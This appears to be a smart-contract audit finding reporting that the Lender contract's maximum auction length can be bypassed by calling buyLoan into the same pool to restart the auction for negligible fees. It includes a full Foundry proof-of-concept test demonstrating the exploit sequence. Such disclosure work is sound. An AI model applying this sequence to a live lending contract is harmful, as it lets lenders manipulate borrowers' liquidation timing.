The Lender contract has a max auction Length of 3 days, however, he can extend it by paying too low fees, which can be considered negligible, this happens by calling the buyLoan function when the auction has started and buying the Loan into the same old pool.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x4);
address public fees = address(0x5);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 2_000 * 10 ** 18);
loanToken.mint(address(lender2), 2_000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function separate() public {
console.log("------------------------------------");
}
function createPoolAndBorrow()
public
returns (bytes32 poolId, uint256 loanId)
{
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 3 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId = lender.setPool(p);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
loanId = 0;
}
function test_bug() public {
(bytes32 poolId, uint256 loanId) = createPoolAndBorrow();
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , uint256 auctionStartTimestamp, ) = lender.loans(0);
console.log(
"Lender 1 balance: %s %s",
loanToken.balanceOf(lender1),
loanToken.balanceOf(lender1) / 10 ** 18
);
console.log("Pool balance: %s %s", poolBalance, poolBalance / 10 ** 18);
console.log("Auction start timestamp: %s", auctionStartTimestamp);
separate();
vm.startPrank(lender1);
lender.startAuction(loanIds);
vm.warp(block.timestamp + 2 days + 59 minutes);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , auctionStartTimestamp, ) = lender.loans(0);
console.log(
"Lender 1 balance: %s %s",
loanToken.balanceOf(lender1),
loanToken.balanceOf(lender1) / 10 ** 18
);
console.log("Pool balance: %s %s", poolBalance, poolBalance / 10 ** 18);
console.log("Auction start timestamp: %s", auctionStartTimestamp);
separate();
assert(auctionStartTimestamp != type(uint256).max);
lender.buyLoan(loanId, poolId);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , auctionStartTimestamp, ) = lender.loans(0);
console.log(
"Lender 1 balance: %s %s",
loanToken.balanceOf(lender1),
loanToken.balanceOf(lender1) / 10 ** 18
);
console.log("Pool balance: %s %s", poolBalance, poolBalance / 10 ** 18);
console.log("Auction start timestamp: %s", auctionStartTimestamp);
separate();
assert(auctionStartTimestamp == type(uint256).max);
lender.startAuction(loanIds);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , auctionStartTimestamp, ) = lender.loans(0);
console.log(
"Lender 1 balance: %s %s",
loanToken.balanceOf(lender1),
loanToken.balanceOf(lender1) / 10 ** 18
);
console.log("Pool balance: %s %s", poolBalance, poolBalance / 10 ** 18);
console.log("Auction start timestamp: %s", auctionStartTimestamp);
assert(auctionStartTimestamp != type(uint256).max);
}
}
A user can start an auction and since it must be 3 days before the liquation if he did not get what he wants he can extend it as long as wants to pay too low fees causing him to bypass the MAX_AUCTION_LENGTH.
VScode + manual review.